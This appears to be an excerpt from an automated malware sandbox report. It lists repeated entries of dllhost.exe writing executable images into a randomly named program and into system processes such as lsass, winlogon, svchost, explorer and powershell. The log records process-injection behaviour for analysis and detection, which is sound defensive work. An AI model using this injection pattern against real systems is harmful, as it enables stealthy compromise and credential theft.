Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 27E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2E80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2AF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 890000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 22A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2860000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 920000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2640000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1280000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 10B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 26B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1050000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2A70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2270000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: FE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2040000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 28D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2980000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 29A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: E70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 950000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 28A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: D60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2F00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: CA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 620000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 13D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1300000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2700000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: AD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 680000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: C00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 630000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: F50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: D40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: A60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: B70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2CF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 10C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 870000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 2680000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 710000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 520000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 680000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1110000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 1400000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A8C180000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 242BF650000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2578F260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\cmd.exe base: 1B68BCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1E591C90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 2134E420000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287AD70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\$nya-onimai2\IhrFKM.exe base: 29FC5300000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\$nya-onimai2\IhrFKM.exe base: 29FC5610000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 2A463AD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125DC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 297A5D80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0F41C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C325340000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AEFC900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F3530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D326280000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 16131E60000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AE137C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C93A3B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2E4190000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1450000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB68FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 265951C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C263510000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E100000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18198570000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF3C5C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E8E330000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5A2950000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD340C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B653790000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B19A0E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24730B30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15F35DA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 200792F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18CE9170000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D959540000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 18F1AC00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF01350000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 221D2530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D400530000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 8D00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 27844DD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 258B00D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA9A260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1BFB71A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26982020000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1496A4A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 190043F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 159AD5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8E5260000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 189090B0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB1240000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 28182CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24261410000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\conhost.exe base: 1C7ADC40000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 3CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 242997D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 9F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 6D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files (x86)\XCmjsBfYqbZctswsuVLwxRUiwMpfwrKsXHFJCckvdzIopegegV\fOwoBfUJekCciSaiYTfNNnZDeEwYl.exe base: 7F0000 value starts with: 4D5A
